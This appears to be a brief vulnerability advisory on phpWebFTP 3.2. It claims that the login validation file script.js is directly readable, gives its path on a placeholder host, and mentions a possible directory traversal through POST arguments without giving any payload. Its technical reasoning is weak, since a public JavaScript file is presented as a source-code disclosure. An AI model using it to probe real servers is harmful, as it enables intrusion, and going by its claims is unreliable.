PhpWebFTP 3.2 Login Script



PhpWebFTP 3.2 Login Script
PhpWebFTP 3.2 Login Script




Summary 
==============================================phpWebFTP enables connections to FTP servers, even behind a firewall not allowing traffic. phpWebFTP bypasses the firewall by making a FTP connection from your webserver to the FTP server and transfering the files to your webclient over the http protocol

==========================================
Issue :
Well I have found that most of the sites that use phpwebftp v3.2 > less  have a problem. The user login script is a javascript file called script.js. This file validates the user input in the logon box. But to my surprise this file is directly accessed by web browser . The  disclosure of the source code can help an attacker to trigger    code injections .

Exploit :
http://www.anysite.com/PhpWebFtp/include/script.js 

Further a directory traversal is possible via malicious arguments passed on the web browser using POST Method relative to the path of phpWebftp ie. http://www.anysite.com/PhpWebFtp/index.php? .
